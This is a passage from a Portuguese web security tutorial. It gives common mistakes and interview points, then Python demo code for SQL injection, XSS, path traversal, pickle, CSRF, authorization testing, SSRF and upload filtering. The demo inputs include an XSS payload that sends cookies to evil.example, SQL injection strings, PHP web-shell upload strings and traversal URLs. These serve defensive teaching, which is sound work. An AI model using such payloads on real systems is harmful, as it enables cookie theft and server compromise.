- Testes não substituem revisão e monitoramento. Eles pegam o que você pensou; a modelagem de ameaças e a detecção descritas na seção anterior pegam o resto.
11. Erros comuns
- Montar SQL, comandos de shell ou HTML com concatenação de strings.
- Validação e autorização apenas no cliente.
- Conferir que o usuário está logado, mas não que o objeto é dele.
- Escapar uma vez, para um contexto, e usar o resultado em todos.
- Sessões com cookie sem proteção contra CSRF, ou mudanças de estado atrás de requisições GET.
- Tratar o CORS como um controle de segurança para APIs.
- Fazer commit de uma chave, apagá-la e dar o assunto por encerrado.
- Executar a aplicação com uma conta de administrador do banco de dados.
- Confiar em identificadores ou nomes de arquivo vindos do cliente.
- Nunca atualizar as dependências, ou ignorar o relatório de auditoria.
- Páginas de erro detalhadas em produção.
12. Coisas a mencionar em uma entrevista
- A causa raiz comum: dados não confiáveis interpretados como código; a cura de separar dados de código (parâmetros, escape por contexto, allowlists).
- A injeção de SQL com um exemplo concreto e a correção; por que escapar à mão é frágil.
- XSS armazenado, refletido e de DOM; codificação de saída por contexto; CSP e HttpOnly como camadas extras.
- CSRF: por que os cookies são o problema, SameSite, tokens, verificações de Origin, e por que o CORS é outra coisa.
- IDOR e autorização por objeto; negar por padrão; atribuição em massa.
- SSRF e o endpoint de metadados da nuvem; path traversal; desserialização insegura.
- Gestão e rotação de segredos; cadeia de suprimentos; privilégio mínimo; defesa em profundidade; registro e resposta.
Resumo rápido
- Injeção, XSS, path traversal e desserialização insegura são o mesmo erro: dados interpretados como código. Mantenha-os separados com parâmetros, codificação de saída sensível ao contexto, caminhos resolvidos e conferidos e formatos só de dados.
- Dos quatro ataques ao login vulnerável, três tiveram sucesso (um desvio de senha, uma condição sempre verdadeira e um vazamento de dados por
UNION) e um falhou com um erro; a versão parametrizada barrou os quatro e ainda deixou os dois logins reais se comportarem corretamente. - O CSRF abusa de cookies enviados automaticamente: use
SameSite, tokens ou verificações de Origin, e nunca mude estado em um GET. O CORS não ajuda. - Autorize cada objeto no servidor; a maioria das violações é uma verificação de posse ausente.
- Um segredo apagado do último commit ainda está no histórico: rotacione e depois limpe; mantenha os segredos em um gerenciador, procure por eles e nunca os envie ao cliente.
- Empilhe defesas, dê a cada componente o privilégio mínimo, mantenha as dependências atualizadas e registre o bastante para perceber e responder.
Apêndice: o código dos experimentos
Um script Python 3 usando apenas a biblioteca padrão e o git. Ele cria um banco de dados SQLite em memória com uma tabela de usuários e uma tabela de segredos, depois chama uma versão vulnerável e uma segura de uma função de login, mostra a codificação de saída em quatro contextos, serve arquivos de uma pasta temporária, carrega um pickle, cria um repositório git descartável para mostrar um segredo sobrevivendo no seu histórico e, por fim, executa o modelo de CSRF. O programa é deliberadamente inseguro (guarda senhas em texto puro e concatena SQL) para que os ataques possam ser vistos; não copie as funções vulneráveis. A parte do CSRF é um modelo das regras de envio de cookies (SameSite) e de três defesas do servidor, não um navegador de verdade, e as regras reais têm mais casos (por exemplo, a janela de dois minutos que alguns navegadores dão a cookies sem um atributo SameSite). Tudo roda offline, não toca em nenhum sistema real e escreve apenas em diretórios temporários.
Os ataques e as defesas, executados contra um brinquedo deliberadamente vulnerável
import sqlite3, html, os, pickle, subprocess, tempfile, hmac, hashlib, posixpath, json
# ---------- 1. SQL injection: the same login function, built two ways
db = sqlite3.connect(":memory:")
db.execute("create table users(id integer primary key, name text, pw text, is_admin int)")
db.execute("create table secrets(owner text, value text)")
db.executemany("insert into users(name, pw, is_admin) values (?,?,?)", [("alice", "s3cret!", 0), ("admin", "Zx9$unguessable", 1)])
db.execute("insert into secrets values ('admin', 'api-key-123')")
def login_unsafe(name, pw):
q = f"SELECT name, is_admin FROM users WHERE name = '{name}' AND pw = '{pw}'"
try: return db.execute(q).fetchall()
except sqlite3.Error as e: return f"error: {e}"
def login_safe(name, pw):
return db.execute("SELECT name, is_admin FROM users WHERE name = ? AND pw = ?", (name, pw)).fetchall()
attacks = [("alice", "s3cret!"), ("alice", "wrong"), ("admin' --", "x"), ("x", "' OR '1'='1"),
("x", "' UNION SELECT value, 1 FROM secrets --"), ("x'; DROP TABLE users; --", "x")]
print("login attempts: (name, password) -> unsafe | safe")
for n, p in attacks: print(f" {n!r:>38}, {p!r:<42} -> {login_unsafe(n, p)} | {login_safe(n, p)}")
print("users table still exists after the DROP attempt:", db.execute("select count(*) from users").fetchone()[0], "rows (sqlite runs one statement per execute, so the stacked query failed)")
# ---------- 2. output encoding against XSS
payload = '<img src=x onerror="fetch(\'//evil.example/?c=\'+document.cookie)">'
print("\nXSS payload in a comment:")
print(" inserted raw into HTML: <p>" + payload + "</p>")
print(" html.escape'd: <p>" + html.escape(payload) + "</p>")
attr = '" onmouseover="alert(1)'
print(" in an attribute, raw: <input value=\"" + attr + "\">")
print(" in an attribute, escaped: <input value=\"" + html.escape(attr, quote=True) + "\">")
js = "</script><script>alert(1)</script>"
print(" in an inline script, wrong way:", f"<script>var name = '{js}';</script>")
print(" in an inline script, json.dumps with < escaped:", "<script>var name = " + json.dumps(js).replace("<", "\\u003c") + ";</script>")
# ---------- 3. path traversal
base = tempfile.mkdtemp(); os.makedirs(base + "/public"); open(base + "/public/a.txt", "w").write("public"); open(base + "/secret.txt", "w").write("TOP SECRET")
def serve_unsafe(name):
try: return open(os.path.join(base, "public", name)).read()
except OSError as e: return f"error {e.errno}"
def serve_safe(name):
root = os.path.realpath(base + "/public"); p = os.path.realpath(os.path.join(root, name))
if os.path.commonpath([root, p]) != root: return "403 forbidden"
try: return open(p).read()
except OSError: return "404"
print("\npath traversal:")
for n in ("a.txt", "../secret.txt", "..%2fsecret.txt", "/etc/hostname"): print(f" {n!r:>20}: unsafe -> {serve_unsafe(n)!r:>14} safe -> {serve_safe(n)!r}")
# ---------- 4. deserialising untrusted data
class Evil:
def __reduce__(self): return (os.getpid, ()) # a harmless stand-in: any function can be called here
blob = pickle.dumps(Evil())
print("\npickle.loads of an attacker's bytes called a function of the attacker's choice, result:", pickle.loads(blob) == os.getpid())
print("json.loads of the same kind of input can only produce data:", json.loads('{"__reduce__": ["os.getpid", []]}'))
# ---------- 5. secrets in git history
d = tempfile.mkdtemp(); run = lambda *a: subprocess.run(a, cwd=d, capture_output=True, text=True).stdout
run("git", "init", "-q"); run("git", "config", "user.email", "a@b.c"); run("git", "config", "user.name", "x")
open(d + "/config.py", "w").write("API_KEY = 'AKIAEXAMPLEKEY123456'\n"); run("git", "add", "."); run("git", "commit", "-qm", "add config")
open(d + "/config.py", "w").write("import os\nAPI_KEY = os.environ['API_KEY']\n"); run("git", "commit", "-qam", "remove the key from the code")
print("\nsecret removed from the file in the latest commit; is it still in the repository?")
print(" working tree contains it:", "AKIAEXAMPLE" in open(d + "/config.py").read())
print(" git log -S finds it in:", run("git", "log", "-S", "AKIAEXAMPLE", "--oneline").strip().replace("\n", ", "))
# ---------- 6. timing-safe comparison and token handling
def naive_eq(a, b):
for x, y in zip(a, b):
if x != y: return False
return len(a) == len(b)
print("\nconstant-time compare available:", hmac.compare_digest(b"abc", b"abc"), hmac.compare_digest(b"abc", b"abd"))
# ---------- 7. CSRF: which requests does the server accept? (a model of the browser rules, not a browser)
def server(req, defense):
if req["cookie_sent"] is False: return "rejected: not logged in"
if defense == "none": return "ACCEPTED"
if defense == "token": return "ACCEPTED" if req["token"] == "per-session-secret" else "rejected: bad token"
if defense == "origin": return "ACCEPTED" if req["origin"] in (None, "https://bank.example") else "rejected: foreign origin"
def browser_sends_cookie(req, samesite): # SameSite rules for a cross-site request
if not req["cross_site"]: return True
if samesite == "none": return True
if samesite == "lax": return req["method"] == "GET" and req["top_level_navigation"]
return False # strict
cases = {"form POST from evil.example": dict(cross_site=True, method="POST", top_level_navigation=False, origin="https://evil.example", token=None),
"link GET to /transfer?to=x from evil.example": dict(cross_site=True, method="GET", top_level_navigation=True, origin=None, token=None),
"real form on bank.example": dict(cross_site=False, method="POST", top_level_navigation=False, origin="https://bank.example", token="per-session-secret")}
print("\nCSRF: would a state-changing request be accepted? (cookie rule, then server rule)")
for name, c in cases.items():
row = []
for samesite, defense in (("none", "none"), ("lax", "none"), ("lax", "token"), ("none", "token"), ("none", "origin")):
c2 = dict(c); c2["cookie_sent"] = browser_sends_cookie(c, samesite)
row.append(f"SameSite={samesite}+{defense}: {server(c2, defense)}")
print(" ", name); [print(" ", r) for r in row]
Matriz de testes de autorização: uma pequena API Flask com sete falhas que podem ser ligadas
Precisa do Flask. O cabeçalho X-User faz o papel da autenticação real e serve só para testes.
"""An authorization test matrix for object-level access and tenant isolation.
A tiny Flask app (identity comes from a test header; never do that in production) with six bugs that can be switched on one at a time,
and a generated matrix of actors x actions x objects that is checked against an explicit policy."""
import itertools, json
from flask import Flask, request, jsonify, abort
USERS = { # id: (tenant, role)
"alice": ("T1", "member"), "bob": ("T1", "member"), "carol": ("T1", "admin"), "dave": ("T2", "member"), "erin": ("T2", "admin")}
INVOICES0 = {1: dict(owner="alice", tenant="T1", title="alice's"), 2: dict(owner="bob", tenant="T1", title="bob's"), 3: dict(owner="dave", tenant="T2", title="dave's")}
CUSTOMERS = {10: "T1", 11: "T2"}
EDITABLE = {"title"}
def make_app(bugs=()):
app = Flask(__name__); inv = {k: dict(v) for k, v in INVOICES0.items()}; users = {k: list(v) for k, v in USERS.items()}
def me():
u = request.headers.get("X-User")
if u not in users: abort(401)
return u, users[u][0], users[u][1]
def visible(uid, ten, role, i):
if "list_missing_tenant" in bugs: return i["owner"] == uid or role == "admin" # admins see every tenant
return i["tenant"] == ten and (i["owner"] == uid or role == "admin")
@app.get("/invoices")
def lst():
uid, ten, role = me(); return jsonify([k for k, i in inv.items() if visible(uid, ten, role, i)])
@app.get("/invoices/<int:n>")
def get(n):
uid, ten, role = me(); i = inv.get(n)
if not i: abort(404)
if "get_missing_owner" in bugs: ok = i["tenant"] == ten # any member of the tenant can read
else: ok = visible(uid, ten, role, i)
if not ok: abort(404)
return jsonify(i)
@app.patch("/invoices/<int:n>")
def patch(n):
uid, ten, role = me(); i = inv.get(n)
if not i or not visible(uid, ten, role, i): abort(404)
body = request.get_json()
for k, v in body.items():
if k in EDITABLE or "mass_assignment" in bugs: i[k] = v # the bug: copies owner, tenant... from the body
return jsonify(i)
@app.delete("/invoices/<int:n>")
def delete(n):
uid, ten, role = me(); i = inv.get(n)
if not i: abort(404)
ok = (i["owner"] == uid or role == "admin") if "delete_wrong_tenant" in bugs else visible(uid, ten, role, i)
if not ok: abort(404)
del inv[n]; return "", 204
@app.post("/invoices")
def create():
uid, ten, role = me(); b = request.get_json()
if "create_foreign_customer" not in bugs and CUSTOMERS.get(b["customer"]) != ten: abort(404) # the customer must be in my tenant
n = max(inv) + 1; inv[n] = dict(owner=uid, tenant=ten, title=b.get("title", ""), customer=b["customer"]); return jsonify(n), 201
@app.get("/admin/users")
def admin_users():
uid, ten, role = me()
if "admin_no_check" not in bugs and role != "admin": abort(403)
return jsonify([u for u, v in users.items() if v[0] == ten])
@app.post("/admin/users/<u>/role")
def set_role(u):
uid, ten, role = me()
if role != "admin": abort(403)
if "admin_other_tenant" not in bugs and (u not in users or users[u][0] != ten): abort(404) # an admin may only manage their own tenant
users[u][1] = request.get_json()["role"]; return "", 204
return app
def policy(actor, inv):
"""The explicit policy the tests check against: may `actor` read, change or delete invoice `inv`?"""
tenant, role = USERS[actor]
return tenant == inv["tenant"] and (inv["owner"] == actor or role == "admin")
def run_matrix(bugs=()):
failures = []; n = 0
def check(name, got, want_ok, cross_tenant=False):
nonlocal n; n += 1
ok_codes = {200, 201, 204}
if want_ok: good = got in ok_codes
elif cross_tenant: good = got == 404 # must not even reveal that the object exists
else: good = got in {403, 404}
if not good: failures.append(f"{name}: got {got}")
for actor, i in itertools.product(USERS, INVOICES0):
obj = INVOICES0[i]; cross = USERS[actor][0] != obj["tenant"]; want = policy(actor, obj)
for action in ("read", "update", "delete"):
c = make_app(bugs).test_client(); h = {"X-User": actor}
r = c.get(f"/invoices/{i}", headers=h) if action == "read" else c.patch(f"/invoices/{i}", json={"title": "x"}, headers=h) if action == "update" else c.delete(f"/invoices/{i}", headers=h)
check(f"{actor} {action} invoice {i}", r.status_code, want, cross)
for actor in USERS: # lists must contain exactly the invoices the policy allows
c = make_app(bugs).test_client(); got = set(c.get("/invoices", headers={"X-User": actor}).get_json()); n += 1
want = {i for i, o in INVOICES0.items() if policy(actor, o)}
if got != want: failures.append(f"{actor} list: got {sorted(got)}, want {sorted(want)}")
for action in ("read", "update", "delete", "list"): # anonymous users get 401 everywhere
c = make_app(bugs).test_client()
r = {"read": lambda: c.get("/invoices/1"), "update": lambda: c.patch("/invoices/1", json={}), "delete": lambda: c.delete("/invoices/1"), "list": lambda: c.get("/invoices")}[action]()
n += 1
if r.status_code != 401: failures.append(f"anonymous {action}: got {r.status_code}")
for actor, cust in itertools.product(USERS, CUSTOMERS): # create: only with a customer of my own tenant
c = make_app(bugs).test_client(); r = c.post("/invoices", json={"customer": cust, "title": "n"}, headers={"X-User": actor})
check(f"{actor} create with customer {cust} ({CUSTOMERS[cust]})", r.status_code, CUSTOMERS[cust] == USERS[actor][0], CUSTOMERS[cust] != USERS[actor][0])
for actor in USERS: # admin-only functions
c = make_app(bugs).test_client(); r = c.get("/admin/users", headers={"X-User": actor}); check(f"{actor} list users", r.status_code, USERS[actor][1] == "admin")
for actor, target in itertools.product(USERS, USERS):
c = make_app(bugs).test_client(); r = c.post(f"/admin/users/{target}/role", json={"role": "admin"}, headers={"X-User": actor})
same = USERS[actor][0] == USERS[target][0]; check(f"{actor} change role of {target}", r.status_code, USERS[actor][1] == "admin" and same, USERS[actor][1] == "admin" and not same)
c = make_app(bugs).test_client(); c.patch("/invoices/1", json={"title": "x", "owner": "bob", "tenant": "T2"}, headers={"X-User": "alice"}) # mass assignment
after = c.get("/invoices/1", headers={"X-User": "alice"}); n += 1
if after.status_code != 200 or after.get_json()["owner"] != "alice" or after.get_json()["tenant"] != "T1": failures.append("alice update with extra fields: owner or tenant was changed (mass assignment)")
return n, failures
if __name__ == "__main__":
n, f = run_matrix(); print(f"correct app: {n} checks, {len(f)} failures")
for bug in ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant"):
n, f = run_matrix((bug,)); print(f"bug {bug:<24}: {len(f):>2} of {n} checks fail, e.g. {f[0] if f else 'NOT DETECTED'}")
SSRF: verificando o endereço resolvido, DNS rebinding e redirecionamentos
Apenas biblioteca padrão; o resolvedor e a camada HTTP são stubs, então nada toca a rede.
"""Fetching a user-supplied URL without letting it reach the server's own network or the cloud metadata endpoint.
No network is used: the resolver and the HTTP layer are replaced by stubs so that DNS rebinding and redirects can be reproduced exactly."""
import ipaddress, socket, urllib.parse
class Blocked(Exception): pass
def is_public(addr):
ip = ipaddress.ip_address(addr)
if ip.version == 6 and ip.ipv4_mapped: ip = ip.ipv4_mapped # ::ffff:169.254.169.254 is the IPv4 address in disguise
return ip.is_global and not ip.is_multicast # not private, loopback, link-local (169.254/16, includes the metadata address), unique-local (fd00::/8), CGNAT...
def resolve(host, port, resolver=socket.getaddrinfo):
infos = resolver(host, port, type=socket.SOCK_STREAM)
addrs = sorted({i[4][0] for i in infos})
bad = [a for a in addrs if not is_public(a)]
if not addrs or bad: raise Blocked(f"{host} resolves to {', '.join(bad) or 'nothing'}")
return addrs[0] # connect to THIS address, not to the name again
def check_url(url, resolver=socket.getaddrinfo):
u = urllib.parse.urlsplit(url)
if u.scheme not in ("http", "https"): raise Blocked(f"scheme {u.scheme or '(none)'} not allowed")
if "@" in u.netloc or not u.hostname: raise Blocked("credentials or no host in the URL")
port = u.port or (443 if u.scheme == "https" else 80)
if port not in (80, 443): raise Blocked(f"port {port} not allowed")
return u, resolve(u.hostname, port, resolver), port
def safe_fetch(url, resolver, http_get, max_redirects=3):
"""http_get(ip, host, port, path) -> (status, location). Every redirect target goes through the same checks."""
for _ in range(max_redirects + 1):
u, ip, port = check_url(url, resolver)
status, location = http_get(ip, u.hostname, port, u.path or "/")
if status in (301, 302, 303, 307, 308) and location: url = urllib.parse.urljoin(url, location); continue
return status, ip
raise Blocked("too many redirects")
if __name__ == "__main__":
PUBLIC = {"example.org": ["93.184.216.34"], "files.example.org": ["93.184.216.34"], "evil.example": ["169.254.169.254"], "internal.corp": ["10.0.0.5"]}
def stub(host, port, type=0):
if host in PUBLIC: return [(2, 1, 6, "", (a, port)) for a in PUBLIC[host]]
return socket.getaddrinfo(host, port, type=type) # literal IPs, 'localhost' and odd spellings go through the real parser
urls = [
"https://example.org/report.pdf",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://[fd00:ec2::254]/latest/meta-data/",
"http://[::ffff:169.254.169.254]/",
"http://2852039166/", "http://0xa9.0xfe.0xa9.0xfe/", "http://169.254.169.254.nip.invalid/",
"http://localhost/admin", "http://127.1/", "http://0.0.0.0/", "http://[::1]/", "http://10.0.0.5/", "http://100.64.0.1/",
"http://evil.example/", "http://internal.corp/", "http://example.org@169.254.169.254/", "http://example.org:6379/", "file:///etc/passwd", "gopher://example.org/_x",
]
print("check_url:")
for url in urls:
try: _, ip, _ = check_url(url, stub); print(f" allowed {url:<62} -> {ip}")
except (Blocked, socket.gaierror) as e: print(f" BLOCKED {url:<62} {e}")
# DNS rebinding: a name that answers with a public address the first time and the metadata address the second time
answers = iter([["93.184.216.34"], ["169.254.169.254"]])
def rebinding(host, port, type=0): return [(2, 1, 6, "", (a, port)) for a in next(answers)]
first = rebinding("rebind.example", 80)[0][4][0]; second = rebinding("rebind.example", 80)[0][4][0]
print(f"\nDNS rebinding: check resolves to {first} (public, so the URL looks fine); a client that resolves the name again to connect gets {second}")
answers = iter([["93.184.216.34"], ["169.254.169.254"]])
_, ip, _ = check_url("http://rebind.example/", rebinding); print(f" safe version connects to the address it checked: {ip}")
# a redirect from a harmless host to the metadata address
web = {("93.184.216.34", "example.org"): (302, "http://169.254.169.254/latest/meta-data/")}
def http_get(ip, host, port, path): return web.get((ip, host), (200, None))
try: safe_fetch("http://example.org/start", stub, http_get)
except Blocked as e: print(f"redirect to the metadata address: BLOCKED ({e})")
print("redirect to another public host:", safe_fetch("http://example.org/start", stub, lambda ip, h, p, path: (302, "https://files.example.org/x") if h == "example.org" else (200, None)))
Uploads: lista de permissões, detecção pelo conteúdo, limites de pixels, recodificação e limites de arquivos compactados
Precisa do Pillow para o passo de recodificação.
"""Safe processing of uploaded images: size, allowlist, content sniffing, pixel limits, re-encoding, generated names, archive limits."""
import io, os, struct, uuid, zipfile, zlib
from PIL import Image
MAX_BYTES, MAX_PIXELS = 2_000_000, 25_000_000
MAGIC = {"png": b"\x89PNG\r\n\x1a\n", "jpeg": b"\xff\xd8\xff", "gif": b"GIF8"}
EXT_TO_KIND = {".png": "png", ".jpg": "jpeg", ".jpeg": "jpeg", ".gif": "gif"} # an allowlist: everything else (.svg, .html, .php, .pdf...) is refused
def sniff(data):
return next((k for k, m in MAGIC.items() if data.startswith(m)), None)
def png_size(data): # read the header only: never decode before checking
return struct.unpack(">II", data[16:24]) if data[12:16] == b"IHDR" else None
def process_upload(filename, data):
"""Returns (stored_name, clean_bytes) or raises ValueError with the reason. `filename` is only ever used to pick an extension to compare."""
if len(data) > MAX_BYTES: raise ValueError("too large")
ext = os.path.splitext(filename.replace("\x00", ""))[1].lower() # only the last extension counts
if ext not in EXT_TO_KIND: raise ValueError(f"type {ext or '(none)'} not allowed")
kind = sniff(data)
if kind != EXT_TO_KIND[ext]: raise ValueError(f"content is {kind or 'not an image'}, name says {EXT_TO_KIND[ext]}")
if kind == "png":
w, h = png_size(data) or (0, 0)
if w * h > MAX_PIXELS: raise ValueError(f"{w}x{h} = {w*h/1e6:.0f} megapixels, over the limit")
img = Image.open(io.BytesIO(data)); img.load() # decode (Pillow also refuses decompression bombs)
out = io.BytesIO(); img.convert("RGB").save(out, "PNG"); clean = out.getvalue() # re-encode: a new file with pixels only, no metadata, no trailing bytes
return f"{uuid.uuid4().hex}.png", clean # a generated name, never the client's
def png_bomb(side=20_000):
def chunk(t, d): return struct.pack(">I", len(d)) + t + d + struct.pack(">I", zlib.crc32(t + d))
z = zlib.compressobj(9); idat = bytearray(); row = b"\x00" * (side + 1)
for _ in range(side): idat += z.compress(row)
idat += z.flush()
return b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", struct.pack(">IIBBBBB", side, side, 8, 0, 0, 0, 0)) + chunk(b"IDAT", bytes(idat)) + chunk(b"IEND", b"")
def check_zip(data, max_total=50_000_000, max_ratio=100):
"""If you must accept archives: limit the declared sizes, the ratio, and the bytes actually produced (headers can lie)."""
with zipfile.ZipFile(io.BytesIO(data)) as z:
infos = z.infolist()
if sum(i.file_size for i in infos) > max_total: raise ValueError("declared size too large")
if sum(i.file_size for i in infos) / max(1, sum(i.compress_size for i in infos)) > max_ratio: raise ValueError("compression ratio suspicious")
produced = 0
for i in infos:
with z.open(i) as f:
while chunk := f.read(65536):
produced += len(chunk)
if produced > max_total: raise ValueError("more data than declared")
return produced
def png(size=(120, 80), color=(200, 30, 30)):
b = io.BytesIO(); Image.new("RGB", size, color).save(b, "PNG"); return b.getvalue()
if __name__ == "__main__":
good = png()
exif = Image.Exif(); exif[0x010E] = "taken at a secret place"
jb = io.BytesIO(); Image.new("RGB", (50, 50)).save(jb, "JPEG", exif=exif); jpeg_with_exif = jb.getvalue()
bomb = png_bomb()
cases = [
("photo.png", good), ("shell.php", b"<?php system($_GET[0]); ?>"), ("shell.png", b"<?php system($_GET[0]); ?>"),
("evil.svg", b"<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'/>"), ("a.jpg", good), ("big.png", good + b"0" * 3_000_000),
("polyglot.png", good + b"<?php system($_GET[0]); ?>"), ("camera.jpg", jpeg_with_exif), ("flood.png", bomb),
("../../etc/cron.d/x.png", good), ("x.png\x00.php", good), ("shell.php.png", good),
]
print(f"{'upload':<24} {'result'}")
for name, data in cases:
try:
stored, clean = process_upload(name, data)
note = f"stored as {stored[:8]}….png, {len(data):,} -> {len(clean):,} bytes"
if b"<?php" in data: note += f"; payload bytes in the stored file: {b'<?php' in clean}"
if name == "camera.jpg": note += f"; EXIF in the stored file: {bool(Image.open(io.BytesIO(clean)).getexif())} (it was {bool(Image.open(io.BytesIO(data)).getexif())})"
print(f"{name!r:<24} ACCEPTED {note}")
except ValueError as e:
print(f"{name!r:<24} refused: {e}")
print(f"\nthe pixel-flood PNG is {len(bomb):,} bytes and claims 20,000 x 20,000 pixels")
zb = io.BytesIO()
with zipfile.ZipFile(zb, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("zeros.bin", b"\x00" * 200_000_000)
print(f"a zip of {len(zb.getvalue()):,} bytes expands to 200,000,000 bytes (ratio {200_000_000 // len(zb.getvalue())}:1)")
try: check_zip(zb.getvalue())
except ValueError as e: print("check_zip:", e)
ok = io.BytesIO()
with zipfile.ZipFile(ok, "w", zipfile.ZIP_DEFLATED) as z: z.writestr("notes.txt", b"hello world " * 50)
print("a normal zip:", check_zip(ok.getvalue()), "bytes produced, accepted")
Os testes de regressão, como rodariam no CI
Salve os três arquivos acima em uma pasta, ao lado deste, e rode python3 -m unittest -v test_security.
"""Security regression tests that run on every change: python3 -m unittest -v test_security
Put them in the same suite as the other tests, so a failing authorization check blocks the merge like any other failure."""
import io, socket, unittest
from PIL import Image
import authz_matrix, ssrf, uploads
ALL_BUGS = ("get_missing_owner", "list_missing_tenant", "mass_assignment", "delete_wrong_tenant", "create_foreign_customer", "admin_no_check", "admin_other_tenant")
# every route must be listed here, with the matrix check that covers it: adding a route without adding a check fails the build
COVERED = {"/invoices": "list + create", "/invoices/<int:n>": "read, update, delete", "/admin/users": "admin function", "/admin/users/<u>/role": "admin function"}
class Authorization(unittest.TestCase):
def test_matrix_passes(self):
n, failures = authz_matrix.run_matrix(); self.assertEqual(failures, [], f"{len(failures)} of {n} checks failed")
def test_matrix_catches_each_known_bug(self): # a test of the tests: if a bug goes undetected the matrix has a gap
for bug in ALL_BUGS:
with self.subTest(bug=bug): self.assertTrue(authz_matrix.run_matrix((bug,))[1], f"{bug} was not detected")
def test_every_route_has_a_check(self):
rules = {r.rule for r in authz_matrix.make_app().url_map.iter_rules() if r.endpoint != "static"}
self.assertEqual(rules - set(COVERED), set(), "route without an authorization check in the matrix")
class Ssrf(unittest.TestCase):
def test_blocked_targets(self):
for url in ("http://169.254.169.254/latest/meta-data/", "http://[::ffff:169.254.169.254]/", "http://2852039166/", "http://127.1/", "http://[fd00:ec2::254]/", "file:///etc/passwd", "http://a@169.254.169.254/"):
with self.subTest(url=url), self.assertRaises(ssrf.Blocked): ssrf.check_url(url)
def test_public_target_is_allowed(self):
stub = lambda host, port, type=0: [(2, 1, 6, "", ("93.184.216.34", port))]
self.assertEqual(ssrf.check_url("https://example.org/x", stub)[1], "93.184.216.34")
def test_redirect_to_metadata_is_blocked(self):
stub = lambda host, port, type=0: [(2, 1, 6, "", ("169.254.169.254" if host.startswith("169") else "93.184.216.34", port))]
with self.assertRaises(ssrf.Blocked): ssrf.safe_fetch("http://example.org/", stub, lambda ip, h, p, path: (302, "http://169.254.169.254/"))
class Uploads(unittest.TestCase):
good = uploads.png()
def test_disguised_script_is_refused(self):
with self.assertRaises(ValueError): uploads.process_upload("shell.png", b"<?php system($_GET[0]); ?>")
def test_polyglot_payload_is_removed(self):
_, clean = uploads.process_upload("p.png", self.good + b"<?php system($_GET[0]); ?>"); self.assertNotIn(b"<?php", clean)
def test_client_name_never_used(self):
stored, _ = uploads.process_upload("../../etc/x.png", self.good); self.assertRegex(stored, r"^[0-9a-f]{32}\.png$")
def test_pixel_flood_refused_before_decoding(self):
with self.assertRaises(ValueError): uploads.process_upload("f.png", uploads.png_bomb(8_000)) # 64 megapixels in about 70 KB
def test_svg_refused(self):
with self.assertRaises(ValueError): uploads.process_upload("a.svg", b"<svg onload='x()'/>")
if __name__ == "__main__":
unittest.main()
Fontes
- OWASP, Top 10 Web Application Security Risks, e a Cheat Sheet Series (SQL Injection Prevention, Cross Site Scripting Prevention, Cross-Site Request Forgery Prevention, Authorization, Server-Side Request Forgery Prevention, Secrets Management, Deserialization).
- OWASP, Application Security Verification Standard (ASVS), uma lista de verificação contra a qual testar.
- MDN, Content Security Policy, Set-Cookie e SameSite e Web security.
- Adam Shostack, Threat Modeling: Designing for Security (Wiley, 2014), para o STRIDE.
- Documentação do Python, o aviso de segurança do
picklee os placeholders dosqlite3. - Documentação do Git sobre
git log -Se o guia do GitHub para remover dados sensíveis de um repositório. - Avisos do CERT/CC e de fornecedores sobre o Log4Shell (CVE-2021-44228) como estudo de caso de cadeia de suprimentos.
- OWASP Cheat Sheet Series: Server-Side Request Forgery Prevention, File Upload e Authorization Testing.
- Documentação da AWS, Use IMDSv2; Google Cloud, About VM metadata; Microsoft, Azure Instance Metadata Service.
- Documentação do Python,
ipaddress(is_global); documentação do Pillow, proteção contra bombas de descompressão.
Pratique este tema: Security